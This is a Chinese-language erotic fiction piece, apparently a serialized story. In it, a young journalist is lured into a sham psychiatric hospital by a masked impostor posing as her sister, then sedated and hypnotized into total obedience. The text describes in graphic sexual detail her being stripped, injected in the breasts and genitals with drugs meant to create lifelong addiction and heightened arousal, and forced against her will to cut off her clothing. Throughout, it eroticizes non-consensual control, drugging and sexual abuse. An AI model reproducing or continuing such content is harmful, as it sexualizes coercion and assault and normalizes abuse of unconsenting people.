催眠文(催眠奴隶)[科学幻想]

 

  第一章

  早上十点,阳光明媚,可是卧室里的棉被下,仍然传出一阵呼噜声。突然,
尖利的电话铃响了起来。棉被蠕动了一下,卷紧了一些。铃声停了,可是没等棉
被里的人松过一口气,又急促的响起来。棉被里传出幽怨的歎气声,一只雪白的
手臂伸了出来,探索着,把电话拉回被子里:「喂,找哪位,啊……」

  「小倩都几点了,你还不起。」电话里传出一个女人无奈的喝斥声。

  「姐,才,才几点啊?」棉被里的人带着睡意回答。

  「几点?十点了,太阳都老高了。你还不起来。」

  「是吗?反正这一週我休假。没关係的。你有事吗?没事我挂了。」

  「停,停,真拿你没办法。」电话里的口气软下来,「告诉你,我要去美国
办一个案子,大约一週后才能回来。事情太急,我就不回去拿东西了。你要…」

  「知道啦,照顾好自己,晚上少出去,下班早回家,不要走太偏僻的小巷。
姐,我已经22岁了,知道怎幺照顾自己,你就放心的去吧。嗯,好,拜拜。」
电话被从棉被里丢了出来,扔在床边的地上,床上的人翻了个身,再次沈沈的睡
去。

  夕阳照入了窗子,床上的棉被蠕动了几下,鬆开了。李倩从被里爬了出来,
不雅的伸了个大大的懒腰,睁开酸涩的双眼,「姐,姐,饭好了没?」没有听到
回音。「啊,对了,她去美国了。」李倩这才从睡梦里清醒过来。现在只好自己
找东西吃了。李倩从床上爬下来,向厨房走去。

  李倩今年已经22岁了,在电视台工作也已经一年多了,至今还没有什幺大
的报道给她。去年的张晶事件虽然没能给她带来太大的问题,但台里的一些老人
已经对她产生的排斥感。李倩自己也很清楚,她已经交上了辞呈,过了这个假期
之后,就要离开那里了。为了能更好的作下一个工作,现在她正躲在家里偷懒,
把一切都交给当警察的姐姐李情去作。

  「吃饭,吃饭。」李倩嘴里哼着,拉开冰箱,「牛奶,前天的。三明治,昨
天就过期了。这点沙拉也吃不饱啊。真是的,姐姐知道要出差也不先把东西準备
好。」她取出一瓶可乐,用力关上冰箱门,靠在冰箱上,边喝边想,总要出去採
购一下,只要能买够这一週来的东西就成了。

  想着,李倩套上一件宽大的T恤,穿上紧身的牛仔裤,走了出去,但她没想
到,这竟然是她最后一次走出自己的家门。

  「老闆,这些东西多少钱?」李倩把一大堆东西放到柜台上,等着超市的老
板结帐,自己则四处张望着,突然她发现对面的胡同口站着一个人,正在向她招
手。谁啊,李倩仔细一看,不禁大吃一惊,姐姐,她不是说去美国吗?怎幺会在
这里?

  对面的李情作了个手势,意思说自己在胡同里等她,转身进了胡同。「对不
起,老闆,先放在你这一下,我过会再来。」李倩说着,向外跑去。

  「哎,你等等,等,唉,现在的小姑娘,真是的。」老闆叫了几声,可是李
倩完全没听到,只好把东西放在脚边。

  李倩追进胡同里,在阴暗的胡同深处,姐姐李情正站在那里等她。「姐,你
怎幺会在这里,你不是说要去美国出差吗?」

  「嘘,小点声。告诉你,我正在準备进行一个秘密的任务。告诉你去美国是
个幌子。家里的电话已经被窃听了。」李情压低了声音说。

  「真的?」李倩吃惊的问,「那现在我们怎幺办?」

  「你知道康乐精神病院吗?」

  「康乐,康乐,啊,不就是张晶被关进去的那间吗?张姐已经被关进去半年
多了,不知道她现在病好了没有。」李倩说。

  「病?哼,她根本就没病。我掌握的最新资料说,那里有问题。但它有一个
很深,很大的后台,根本不许警察去调查。所以我也没办法。」李情无奈的说。

  「那,那怎幺办?」李倩问。

  「这样,你以给张晶探病为由,进去看一下,最好能找出一些证据来,这样
我就能向上申请搜查令了。」李情盯着妹妹说。

  「让我去,可是姐姐,你不是一直不让我参与你的事吗?」李倩奇怪的问。

  「对,但这次不同。再说我们的小倩儿已经长大了,该看看你的本事了。」
李情说着,用力搂住妹妹,「小心一点,带上这个跟蹤器,一有事我就会去救你
的。」

  「姐,你……」终于被姐姐认可了,李倩兴奋得脸色通红。自从父母在一次
车祸中去世后,姐妹俩相依为命,李情从不让妹妹过多的参与自己的事。今天终
于得到了姐姐的认可,李倩非常高兴。

  「姐你放心,我一定小心。」李倩接过跟蹤器,放到衣袋里里。然后又抱了
一下姐姐,转身出了胡同,回到超市里,付帐后,又向胡同里望了一眼,隐约见
李情向自己挥了挥手,就抱着买好的东西回家了。

  「老虎,小鹿已上钩了。」李情拨通了一个电话,「估计她明天就到。」李
情挂上手机,脸上现出一丝奇异的微笑,她伸手在耳边摸索着,然后用力一揪,
一张精美的橡胶面具被摘了下来,露出一张清丽的脸。她从喉头撕下变声片,咳
了两声,恢复了自己清脆的声音:「真是一个好骗的孩子,你太天真了。那幺就
让你永远天真下去吧。」她转身消失在胡同深处的阴影中。

  第二天,李倩换了一身轻便合体的衣服,坐车来到了康乐精神病院。这是一
间开在远郊山里的高大建筑,宽敞的前门十分的气派。李倩站在门口看了一会,
这里没有什幺人进出,前院静悄悄的,可能是一间特殊的医院的缘故,给人一种
阴森森的感觉。李倩定了定神,大步走了进去。

  「您要会见哪一位?」前台小姐客气的问。

  「张晶,就是前一阵很有名的那个。」李倩回答。

  「哟,知道,请问小姐怎幺称呼?」

  「李倩。」

  「哟,您好。请您随我来。」说着,前台小姐把李倩带到了第一诊室,「胡
大夫,这位小姐要探望张晶,那是您的病人,请您带她去吧。」

  「好的,请您和我来。」胡大夫是高个子的英俊男人,宽宽的肩膀,四方的
国字脸上两道浓黑的眉毛,一副金丝眼镜给他刚硬的脸带来一丝文化的柔气。

  李倩跟在胡大夫身后向后院走去。他好眼熟啊,但我到底在什幺地方见过他
呢?李倩想着,不知不觉间已经走过了宽敞的中院,来到了病房。

  这里和一般的精神病院是一样的,铁栏杆把病房和外界分隔开来,寂静的楼
道反射着惨白色的光,虽然外面还是阳光灿烂,但高大的拱形窗上挂着厚重的窗
帘,楼道里阴森森的,泛着寒气,彷彿是另一个世界。走进这里,李倩不禁打了
个寒颤,她摸了摸藏在衣袋里的跟蹤器,跟着胡医生走上了楼。

  「我们这里主要收治一些比较奇怪的神经病人,比如受虐狂,虐待狂,性慾
过旺等等。为此我们专门从国外进口了一些特殊的设备和药物,可以让人冷静下
来或是让她发洩。你想看一看吗?」胡医生边走边说。

  但李倩摇了摇头,不想看那些,从紧闭的房门后传出隐约的呻吟声,那声音
听上去并不是十分的痛苦,其中欢乐和哀求的成分佔了更多的比例,李倩现在有
些后悔不应这样冒失,但事已至此,只好硬着头皮跟着胡医生向里走。

  「就是这里了,请进。」说着,胡医生打开了一间病室的门,让开身子请李
倩进去。

  「啊!」李倩一进屋门,忍不住吃惊的叫了出来。

  屋子里只有一张床,张晶仰躺在床上,赤裸着,身上绑满了麻绳,两只手却
没有被绑住,修长的手指插入了阴道里,随着手指不停的抽插,一股股淫水不停
的流出来,张晶身下床单早已是湿漉漉的,上面浸满了汗水和淫水,屋子里混合
着汗水和淫水的味道,让李倩一阵阵的作呕。

  「张姐,你这是怎幺了?」李倩扑到床边,抓住张晶的手,用力摇晃着。

  「啊……,不要,给我,让我爽,让我爽。操我。」张晶挣扎着,嘴里叫着
双眼无神的盯着天花板,「啊,是你,你是来操我的吗?太好了,这个不让我自
己用,只能别人给我,快点,插进来,插进来啊。」

  说着,张晶从枕头下抽出一根粗大的按摩棒,塞到李倩手里,自己趴跪在床
上,用双手拉开两片阴唇,摇晃着自己雪白的屁股,嘴里叫着,让李倩插进来。

  「这…啊……」李倩看着手里的东西,再看看床上呻吟的张晶,痛苦的叫了
一声,转过身用力把按摩棒向胡医生丢了过去。「你、你到底对张姐作了什幺?
啊,我认出你来了,你、你是胡律师。」

  「哈哈…,小丫头还有点眼力嘛。」胡啸天一边接住李倩丢过来的按摩棒,
一边笑着摘下了自己的眼镜,「怎幺样,我戴眼镜比较帅,还是摘了更帅?」

  「呸,你们这些家伙,我知道了,你和张议员是一伙的,你们在法庭上陷害
了张姐,再把她送到这里来,然后让她当……当……给你们赚钱。」李倩愤怒的
指责着,但她还是说不出妓女这个词。

  「对,不光是我,还有小马,孙鹃,我们都是一伙的。」胡啸天笑着靠在门
上,听着李倩的指责。

  「你们,你们还算不算人,还知不知道有法律。」李倩叫着。

  「哈哈哈哈…,法律,你太天真了。什幺是法律,在这里我说的就是法律。
我说让你把屁股撅起来,你就得撅起来,我说要干你的屁眼,就你就得把屁股掰
开。」胡啸天狂笑着说。

  「呸,你……,你真不要脸。」李倩被他这种下流的话说得满脸通红。

  「哈哈……,这算什幺,过几天你也会和在你身后的人一样了。」说着胡啸
天一步步的逼近。

  「不可能,我就是死也不会作的,」李倩紧张的说,胡啸天的眼里闪动着慑
人的寒光,李倩觉得自己就像老虎面前可怜的小鹿一样无助。

  她咬了咬牙,从口袋里抽出暗藏的小刀,抵在自己的脖子上,「你再走近一
步,我就死给你看。」

  「嘿嘿嘿……」胡啸天并不着急,「死?在这里,没有我们的允许,你死也
是不允许的。动手!」

  随着他的命令,李倩突然觉得脖子后面一痛,一根针刺入了脖子里,强力的
麻醉剂立即起了作用,她只觉得身体开始发麻,手脚也迟钝了。

  「不,不要。」李倩想到自己将会受到的侮辱,让她恨不得立刻就死,她用
力把刀子向脖子插下去,可是一双手抓住了她,用力一拧,注射过麻醉剂后软弱
的手指再也握不住刀子,小刀被从手里夺走了。

  李倩只觉得头一阵阵的发昏,她用尽最后的力气转过身去,虽然她知道身后
只有张晶一个人,但她还是不相信自己最敬爱的张姐会对付她。

  但她看到自己的小刀就握在张晶的手里,而张晶的脸上不再是那种迷茫的神
色,挂着嘲讽的笑容:「欢迎你,我的小妹妹,我会好好招待你的。」张晶温柔
的抚摸着李倩光滑的脸,李倩看着张晶的脸越来越近,耳边的声音渐渐远去了,
然后就是黑暗,无边无际的黑暗。


  
                第二章

  「嗯,嗯,啊……」李倩猛的惊醒,她一翻身坐了起来,向四周看去。

  这是间宽大的健身房,到处放满了健身用的器材,但看上去它们又好像和一
般常见的不同,到底什幺地方不一样,李倩也说不出来,不过总觉得它们阴森森
的,让人害怕。她就躺在房间正中的地板上,地上舖着厚厚的地毯,又软又暖和
像一张大床一样。

  「你醒了。」身后突然传来的声音吓了李倩一跳。

  「嘎,是你。」李倩连忙爬起来,摆开架势,防备胡啸天扑上来。

  「哈……,小丫头,如果我要吃了你,在你睡着的时候就可以了。还用得到
现在。」胡啸天看着李倩一副紧张的样子哈哈大笑。

  「那,那你要干什幺?」李倩知道他说得不错,从感觉上来说,自己的衣服
还是完好的。

  「这样吧,我和你打一个赌,如果你赢了,我就放你走,如果你想告发这里
的事也随你。」胡啸天悠闲的坐在一张椅子上说。

  「什幺赌?」李倩提防的问。

  「这样,只要你能打倒我,我就放你走,你别咧嘴,你想说我是男的,你的
女的,我在佔你的便宜,是不是?」李倩点点头。「这样,我给你一个优势,我
只用一只手,还不用脚,这样可以吗?」说着,胡啸天把自己的左手插入了衣袋
里,晃了晃自己的右手,「只是这一只手,还不用脚,你害怕?」

  「这……」的确这是个好机会,李倩同时和姐姐练过一些功夫,对付一般的
小流氓没有什幺问题。她也知道胡啸天一定是个武功好手,但想到他不用脚,更
只用一只手,觉得自己的羸算一定很大,「好,一言为定。」

  「好,有胆量,不过如果你输了,就不要怪我了,我会把你变成乖巧的小奴
隶的。哈哈……」胡啸天盯着李倩调笑说,满意的看到李倩的脸红了起来,气息
也有些急促了。

  「呸,下流的东西,看我不把你打得满地找牙。」李倩气得啐了一口,跳起
来,上身一转,右腿飞起来直奔胡啸天的面门。

  「好,果然有两下子。」胡啸天嘴里说着,脚下一转就闪到了李倩的背后,
伸手在李倩的屁股上拍了一下,「好,很饱满,过会把裤子脱了,摸起来手感一
定不错。」

  「你,下流。」李倩的脸更红了,一个肘锤,直撞向他的胸口。

  「嗯,来得好。」胡啸天脚下一转,又来到了李倩面前,右手一张已经抓住
李倩的左乳,用力揉了几下。

  「啊,」李倩只觉得从乳房上传出一道电流,瞬间就冲到全身,自己的两腿
也有些发软,她连忙双掌下劈,这才让胡啸天放手,可是自己却再也不敢轻易发
招了。

  「你的招术,下流,无耻。」李倩双手护在胸前,瞪着面前嘻笑的胡啸天。

  「哈,下流,水才往下流呢。你这幺快就流水了。哈。」胡啸天故意调笑,
李倩气得满脸通红,可是却不敢轻易出手。

  「你不动?那我可要出手了。」说着胡啸天右手一晃,就欺近身来。虽然他
只用一只手,可是手掌上下翻飞,让李倩防不胜防,如果不是他有意戏弄,早把
李倩打倒在地了。胡啸天的手一会捏一下李倩的屁股,一会儿在乳房上掐一把,
李倩一个不小心,他就在李倩的脸蛋上亲了一口。

  「哈,好香,你认输吧。你打不过我的。」胡啸天退开了几步看着气喘吁吁
的李倩,笑着说。

  「我……,我不……,不会,认输,认输的。」李倩喘息着,这才明白自己
的功夫和他差得很远。姐姐,我该怎幺办?李倩着急的想。动手时,人的眼睛会
暴露他的一切,只要你盯着他的眼睛,就能看穿他的招术。练功时姐姐的话忽然
出现在脑子里,李倩一下子放心了,脸上浮起一丝笑容。

  「嗯,你还会笑,你信不信我这次把你的衣服撕开。」胡啸天吓唬道。

  「哼,你来吧。」李倩摆好架势,做好準备。

  这次胡啸天发现自己果然再佔不到什幺便宜,李倩紧紧盯住自己的双眼,看
穿了自己的招式,加上她只求自保,不贪功冒进,让胡啸天不再像开始时那样容
易得手了。

  「看着我的眼睛来找我招术的方位,好办法,不过我等的就是这一刻。」胡
啸天心中暗暗高兴,一轮急攻后,连退了几步,假装喘息,双眼紧紧盯住李倩的
眼睛。

  李倩见胡啸天紧盯着自己,怕他有什幺新的动作,所以也盯住了他的眼睛不
放。她突然发现胡啸天的眼睛好像变黑了,瞳孔也不见了似的,就像两个黑色的
深潭,吸引着自己的目光,她想不去看,可是已经有些身不由已了。

  「好,你很好,看到那深深的黑色了吗?」胡啸天的声音低沈而性感,李倩
渐渐的迷失于其中,身体微微的摇晃着,眼神完全被胡啸天吸引住了。

  「你已经打不动了,对,很累了,你觉得两条腿很沈,很酸,动弹不得,双
手也擡不起来。」李倩的身体随着他的话摇动得更厉害了,她还努力想保持防御
的架子,但很快双手就垂了下去,双腿也开始颤抖起来。

  「对,好累啊,坐下吧,坐下休息一会。」李倩挣扎了几下,但最终双腿一
软,瘫坐在地上。

  「闭上眼,休息一会,对,这里的地多软啊,好想躺下睡一觉,是不是?躺
下吧,睡吧。」李倩缓缓的合上双眼,身子慢慢的歪倒在地上,呼吸也逐渐平缓
下来。

  「对,你听到我的声音就会觉得很亲切。当我开始倒数时,你会更深的进入
睡眠状态中。听到了,6,5,4,3,2,1。」李倩静静的呼吸着,长长的
睫毛抖动着,鲜红的小嘴抿了一下,嘴角微微的扬起,让人忍不住想重重的吻下
去。

  「你听到我说话了吗?对,就是这个声音。当你醒过来后,就会完全听从我
的话,不论我说什幺你都会去作,不论这些命令你多讨厌,多反感,你都要作。
对,因为这是我要求你去作的。听清楚了吗?」李倩点了点头。

  「好,你好好的睡一下,你要一直想着我会听话,我会听话。一直到我要你
醒来,好,你默念着,睡吧。」李倩的嘴慢慢的蠕动着,开始时她还紧皱着眉,
呼吸时快时慢,似乎在对抗这个命令,但渐渐的,她开始自然起来,呼吸平缓下
来。

  胡啸天小心的看着李倩,随时準备再加上一些暗示,但见李倩已经进入更深
层的催眠中,这才长长的出了一口气,身子一软,瘫坐在椅子上,喘着粗气。他
这可是一步险棋,这种催眠很危险,如果被催眠者突然惊醒,那幺施术者轻则受
内伤,重则吐血,但若是成功,则完全无法解开,使被催眠者完全变成一个听话
的奴隶。

  十二生肖是按各自所长来排位的,单数为男,双数为女。每个男人都有自己
特别的一套催眠术,而女人则专攻各种辅助的药物和器械。

  虽然小马能控制被催眠者作出一些动作,但受术者在作事时完全没有记忆,
只是个听话的木偶。

  而老虎胡啸天的催眠看上去必须由人指挥,被催眠者才会动作,但那是心灵
深处的控制,十分的霸道,受术者神志完全清醒,却又无法控制自己,这是更厉
害也更危险的招术。只是它就像一只危险的猛虎,虽然威力无穷,但随时有反扑
主人的危险,加之太费心力,小胡才不敢多用。在这一点上,连小马也十分的佩
服,认为他无愧于老虎之名。

  「蛇,你可以进来了。」胡啸天喘息着,对门口说。

  「啊……」一声长长的惊叫,胡啸天吓了一跳,差点从椅子上掉下来。李情
跑了进来,一把抓住胡啸天的领子,「你把我妹妹怎幺了,快说,不然……」说
着,她从腰里抽出手枪,「我一枪打死你。」

  「好了,」胡啸天无奈的揉了揉太阳穴,「不要玩了,小蛇,我受不了了,
才用摄心术把那个丫头搞定,我现在实在没有力气再和你闹了。」说着把怀里的
李情推开。

  「哼,一点也不好玩,我作得这幺认真,可是你却一点表扬也没有。」李情
气呼呼的从胡啸天怀里站起来,从口袋里取出一个小药盒,「这粒药……」

  「小蛇,啊,不,李情,李小姐,」胡啸天见李情的脸又要拉长了,连忙改
口,满脸赔笑,「李小姐说得是,我怎幺敢伤害你妹妹呢?她只是太累了,才在
地上睡着了。」

  「嗯,这就对了。」李情说着把手里的药盒丢到胡啸天怀里,伸手在自己的
脖子上摸索了一会儿,手一翻,一张精巧的橡胶面具就揭了下来,露出一张清丽
的面孔。

  「嗯,这次的药力好沖,」胡啸天吞下药丸,喘了几口粗气,脸色也红润了
些,看了看面前的女人,又唉了口气,「小蛇不要玩了,你能不能好好的和我说
话,你现在又变成妹妹了,你能不能变成原来的脸,让我们好好的讨论一下。」

  「李倩」却摇了摇头,「老虎,这不成,过一会儿我还要用这张面具,我要
熟悉一下。」她说着蹲到昏睡在地上的李倩身边,伸手轻轻抚摸着李倩姣好的面
庞,「不错,很细嫩,毛孔也很小,保养得很细心。老虎,这次时间很短,只能
先用西药暂时改变一下她的身体,等过几天再和她姐姐一起作彻底的改造。」

  「是,一切听你的,谁不知道你是黑道第一药物高手,这一点大哥也多次提
过。所以我只负责调教,下什幺药全由你作主。」胡啸天点点头,看着面前的两
个李倩,清醒的一个不论是外形还是语言都和李倩一模一样,如果不是其中一个
已经昏睡过去,自己也分辨不出哪个才是自己催眠过的。

  假李倩——凯曼,绰号黑色曼巴蛇,是十二生肖里的易容和药学高手,没有
她配不出的药,她通晓中医,西医各种药物,甚至是印地安人、非洲土人的巫药
也运用自如,用药下毒更是小菜一碟。由于李情是个受过专业训练的高级特警,
意志坚定,加之可能接受过药物分辨训练,一般的药物难以对付,所以才会特意
由她和老虎胡啸天联手。

  凯曼仔细的观察了李倩一会,确定自己的面具没有了问题,这才转身问胡啸
天:「是不是现在就给她注射?」

  「嗯,现在给她注射一些提高身体敏感度的药,但不要改变身体的比例,丰
乳剂等就不要用了。」胡啸天思索着说。

  「好吧,你让她把衣服脱光,然后我再给她上药。」凯曼说着,走到一边的
长凳上坐下。

  「你听,电话铃响了,你会逐渐清醒,但不想起来接电话,」胡啸天对倒在
地上李倩低声说着,李倩的身体不安的蠕动了一下,像是要用不存在的棉被把自
己包紧一样,蜷缩了起来,脸上现出一丝不耐的神色。

  「好了,电话停止了,你又可以睡了。现在你正在作一个梦,记住,这只是
个梦。」胡啸天不想让李倩知道自己的身体被药物改造过,所以下达了更深的暗
示。李倩的眼珠在眼皮下急速的转动几下,在强烈的催眠下,身体竟然产生了自
然的生理反应。

  「在梦里,你正来到一间诊室里,接受妇科检查。」说完,胡啸天对凯曼露
齿一笑,凯曼则对胡啸天作了一个鬼脸。

  「好,你已经进入了医院的诊室里,医生让你把所有的衣服都脱下来放好。
你快点脱,没关係,那只是个漂亮的女医生,没什幺可害羞的。」

  李倩缓缓的从地上爬了起来,双手缓慢而自然的解开了上衣的扣子,然后脱
下上衣,接着解开腰带拉下牛仔裤,也放在一边。她身上穿了一套纯白色棉布内
衣,更衬得她乳白色的肌肤更加的细嫩。

  「等一下,过来,放内衣的架子在这里。」胡啸天说着,伸出右手。

  李倩抿了抿嘴,走到胡啸天面前,她的双眼闭着,脸上纯净的神色让人爱
怜。李倩的双手伸到背后,轻轻拉开胸罩的搭钩,然后慢慢把胸罩从双肩上拉了
下来,把它放在胡啸天手上,一对娇小尖挺的乳房就暴露在胡啸天眼前,他轻轻
往乳头上吹了几口气,满意的看到受到冷风刺激的乳头立了起来,在空气中微微
摇晃着。

  李倩的双手抓住了腰间的内裤,脸上泛起一层羞涩的红晕,彷彿染上了一层
薄薄的胭脂,她扭动了几下,然后快速把内裤脱了下来,放在架子——胡啸天的
手里,然后从旁边取过虚空的长袍穿了起来,这才长长的舒了一口气。

  胡啸天没有下达新的命令,他定定的看着面前李倩动人的胴体。这是一具完
美的女性裸体,奶白色的肌肤彷彿是象牙雕成的,光滑而又细腻,纤细的毛孔几
乎看不到;从圆润的双肩下是丰满的乳房,李倩的乳房并不很大,只是一手就能
抓住,但很尖挺,两个鲜红的乳头向上翘着,乳晕的面积不大,颜色还是处女美
丽的粉红色,在左乳下方有颗红色的小痣。

  平坦的小腹中央是圆圆的肚脐,纤细的腰肢往下扩大成饱满的屁股,臀部的
肌肉很紧,臀尖向上翘着,再往下分裂成两条笔直修长的大腿,一直延伸,然后
又回转成圆润的脚踝,细小的足弓前是纤弱的脚趾。李倩的阴毛很少,微微盖着
粉红色的阴唇,两片处女的阴唇紧紧的合着,保护着纯洁的花园。

  「真美,果然是个性感的尤物。」胡啸天这样的花丛老手也不禁连声称讚,
雪白的肌肤彷彿感受到男人的视线,微微颤抖着。

  「现在,你躺到诊疗椅上。」李倩听话的躺到身边的长凳上,「来,把腿放
到腿架上,医生会给你作全面的检查。」胡啸天把李倩的双腿分开,让她半弯着
举起双腿,李倩把腿放在不存在的腿架上,把阴道和肛门完全暴露了在空气中,
摆出一副淫糜无比的姿势,而她紧闭着双眼,脸上浮现出一丝作了一个好梦才有
的甜甜的笑容。



                第三章

  凯曼走到李倩身边,细细的打量着平躺在面前的完美的身体,这是一具纯洁
的胴体,没有任何的汙染,就象天使一样。但是你遇到了我,凯曼想,一个把天
使变成魔鬼的人。

  凯曼轻轻托起李倩的乳房,处女的乳房尖挺而丰满,虽然不是很大但是很有
弹性,即使是平躺着,也没有丝毫的下垂。凯曼轻轻摇动了几下,乳房颤动着,
李倩的脸上现出一层潮红。

  "很好,乳房的敏感度很强。"凯曼说着,取出一支注射器,吸入满满一支
药水,"既然要在五天内把她变成完全听话的母狗,我想你可能需要最强的催情
剂。"说着,凯曼捏住李倩的一个乳头,用力揉着。

  "嗯。"李倩发出痛苦的哼声,眉头微微的皱了起来。

  手指间鲜红的乳头很快涨大了,凯曼右手握住针管,手一抖,準确的刺入娇
嫩的乳头。

  "啊!"李倩惨叫了一声,身子一阵颤抖。

  "不要动,不要动,这是给你作的穿刺检查,会很痛,但你一定要忍耐,不
要动,不然你会受伤的。"胡啸天轻柔的说,让自己的声音完全控制住李倩,看
着她小口的吸着气,手指紧紧的握着,再慢慢的放开,紧皱的眉头也逐渐舒展开
来。

  凯曼这才缓缓的将药水注入李倩的乳房 ,李倩张开嘴,轻轻的呻吟着,眉
头微微的皱着,脸上的表情让人怜爱。每个乳房中被注射了15cc药水后,凯
曼用手掌包裹住一对抖动着的乳房,小心的按摩着,帮助药力发散,满意的看到
乳房紧绷的涨起来。接着,将另一管20cc药水注入了李倩的阴核 ,又取出
两支药栓分别塞进李倩的阴道和肛门。

  凯曼把半瓶淡绿色的药水倒在一团药棉上,然后捏开李倩的嘴,让她含住,
这才开始收拾自己的东西。

  "好了,在乳房上注射的丰乳剂会让她的乳房迅速成长,但暂时还不能分泌
乳汁,阴蒂的那一针使阴蒂的敏感度增加了五倍,而且明天阴蒂的尺寸将涨大一
倍,并始终翻在包皮外,无法消退,也就是说这个女孩从今天开始再也穿不了任
何裤装,阴蒂已经成为了她身体的一个开关,轻微的刺激也会造成强烈的性欲。
最后的栓剂主要作用是杀菌,可以杀死任何致病的微生物,同时刺激阴道内淫水
的分泌,并且让直肠自动分泌类似于淫水的润滑液,是以后肛交不用擦任何的润
滑液,非常方便。"

  "对了,在乳房和阴蒂上的注射会产生类似于海洛因的强烈毒瘾,终生难以
戒断。每天必须在相同的部位注射一次,当然了剂量只要现在的一半就可以了,
我已经把药放在那边的抽屉 了,你自己用。那是稀释过的,可以放心的用。好
了,都做好了。现在就看你的了,如何在五天之内,把一个倔强的小女人变成一
只听话的小母狗。"凯曼说着,在胡啸天脸上轻轻吻了一下,走了出去。

  "你就看我的吧。"胡啸天对着凯曼的背影喊。

  凯曼回头给了他一个温柔的微笑:"好好照顾我妹妹,让她品尝作为女人的
乐趣,记得哟。"

  胡啸天呆呆的看着,甚至觉得刚才的确是李情来过。当大门关闭的时候,胡
啸天才反应过来,他低头看着李倩光滑的身体,活动着修长有力的手指:"你现
在将开始你新的人生,一个你从来没有想像到的世界。"

  李倩呻吟着,从沈沈的昏迷中醒来。她的头象爆炸一样痛,身体各处都在呻
吟,各个关节仿佛都在嘶叫,耳朵 嗡嗡的响,有什幺人在叫着自己的名字,那
声音很遥远,飘忽不定,李倩定了定神,仔细的听着。

  "醒了吗?自不量力的小女孩。"那是一个男人的声音,带着重重的讥讽。

  李倩用力地甩了甩头,再向声音的来源看去,模糊的视线逐渐清晰了:"是
你?!"

  胡啸天双手抱肩,笑嘻嘻的看着躺在面前的李倩猛的翻身跳了起来,但随即
又按着肚子,跪倒在地上,"那一拳滋味如何?"

  那一拳的力量好大,我的肚子好痛,李倩想。(这实际上是为了掩盖对李倩
身体改造而强加给她的一段记忆)"你,你说吧,我输了。"

  "那好,我要求你现在完全听我的话,作我的奴隶。"胡啸天说。

  "呸,你作梦,我死也不会听你的。"李倩涨红了脸,狠狠的骂道。

  "喁,不要生气,我的小宝贝。"胡啸天摇晃着一根手指,笑着说,"你会
听的,你已经是我的奴隶了。你会听的。"

  "哼,你想得美,你就是打死我,我也绝不会作你的,你的…"李倩骂着。

  "奴隶,是不是?哈哈!"胡啸天的身子在椅子 轻轻的挪动了一下,找到
一个更舒服的姿势,"话不要说得太满,小姑娘。你的身体已经完全听从我的安
排了,你信不信?"

  李倩低头看了看自己,身上的衣服完好无损,除了肚子上的疼痛外,胸口和
下体有些涨涨的痛,可能是发怒的原故李倩觉得很热,鼻尖上渗出细细的汗珠。

  "我不信,你骗人。"李倩说。

  "唉,为什幺我每次说真话时,总没有人相信呢?"胡啸天作了一个非常苦
恼的鬼脸,"那好我们现在就让你知道一下,你刚才失败的代价。站起来,走到
我面前跪下。"

  "什幺?"李倩吃惊的发现自己完全失去了对身体的控制,她听话的走到了
胡啸天面前,直挺挺的跪好,"我,我,你,你……"

  "我的身体怎幺了,你对我作了什幺是不是?"李倩点了点头,惊恐的看着
胡啸天的手伸过来,贴在自己脸上。

  "没什幺,只不过给你下了个极深的催眠而已。对,就是催眠。我告诉你,
不要以为自己会象电影 的英雄一样,靠意志力摆脱我,那些只是电影而已,而
且你根本没有反抗我的精神力。如果你不相信,那好,现在你用这把剪刀把身上
的衣服铰碎,完全铰碎,过一会当我让你站起来时,只要你身上还能剩下一根布
丝,我就放你走。怎幺样。"

  李倩咬紧牙,惊恐的看着自己伸手接过了剪刀,然后左手拉起上衣的下摆,
右手从下向上剪了起来。

  "不要,不可以。"李倩叫着,身体失控带来的惊慌完全控制了她,她死死
的盯着那把剪刀準确的沿一条直线剪开了白色的衬衫,然后顺着肩膀向左手的袖
子铰去,"停止,求你,停止,住手。"

  李倩像是在哀求自己的右手一样,盼望着它能停下来,但就像是被施了魔法
一样,剪刀不停的开合着,布料被一点点的剪碎。

  胡啸天坐在那 ,欣赏着李倩脸上的表情,一开始是完全的倔强,但剪刀第
一下合拢时,惊讶,不相信,然后是慌乱,最后的恐惧。一切都是那幺的完美,
胡啸天想,多美的景色,美丽纯洁的女孩,哭泣着,挣扎着,哀求自己的身体不
要听从别人的命令。

  黑色的剪刀移动着,在剪刀下,一片片雪白的肌肤逐渐显露出来,破碎的布
片遮挡着女孩最美的部分,随着她的哭泣,轻轻摇动着,女孩清澈的大眼睛 ,
流出珍珠一样的泪水,划过清丽的脸颊滴落在地上,太美了,我爱这一切,我爱
这一切!!!

  李倩哭泣着,手 的剪刀飞快準确的运动着,冰冷的剪子贴着皮肤,就象一
条可怕的毒蛇一样,让她战慄颤抖。牛仔裤结实的布料给了李倩一线希望,平时
只拿笔的手如何能把那幺厚的牛仔布铰断?但她吃惊的看到,牛仔裤就象衬衫一
样,被自己轻易的铰成两半,自己的手劲大得吓人。

  最后连脚上的袜子也被铰成了两半,李倩知道现在自己身上与其说是穿着衣
服,不如说是披着一些碎布,只要自己一站起来,立刻就会赤裸裸的。赤裸着站
在一个陌生的男人面前,光是想就让李倩的血全沖到了脸上,她羞得连前胸都红
了。

  "你爱看电影吗?"胡啸天坐在那 ,玩味的看着李倩问。

  "吓,什幺?"李倩不知道他问这干什幺,愣了一下回答,"一般般啦,有
时会去看一下的。"

  "嗯,根据我们所知道的情报,你在大学 是有名的舞王,拉丁舞和西班牙
舞你应该会跳吧。"胡啸天问。

  "啊,嗯。"李倩茫然的点头。

  "那好。"说着胡啸天打了个响指,屋角 那台巨大的背投彩电亮了起来,
激烈的西班牙舞曲响起,"这部电影你应该看过吧。"

  李倩转头看去,这是几年前非常有名的《佐罗的面具》,正在播放的是凯泽
林与班得拉斯两人在大厅 激情狂舞的片段。这部电影非常有名,当初上映时,
李倩曾拉着姐姐看过好几遍,这段狂放的拉丁舞自己也学过,李倩扭头看了一眼
缓缓走过来的胡啸天,"你……啊,不要。"

  李倩突然明白过来,他是要和自己跳这场舞,虽然舞步自己非常熟练,但现
在身上的衣服已经被铰得稀烂,如果再跳这样的热舞,天哪,李倩几乎要哭出来
了。

  "小姐,可以赏光与我共舞吗?"胡啸天脸上挂着优雅的绅士笑容,走到李
倩面前,深深的一躬到地,伸出右手邀请。

  "不,我不要。"李倩叫着,可是身体却完全不听使?,擡起右手放在胡啸
天手 ,任由他把自己拉了起来,走到屋子的中央。

  "好了,不要哭了,我们来一场激情之舞吧。"胡啸天双手一拍,音乐再次
响起,他按照电影中班得拉斯优雅的舞姿跳了起来,脸上挂着贵族一般高雅的笑
容,身手矫健的按照舞步旋转着。

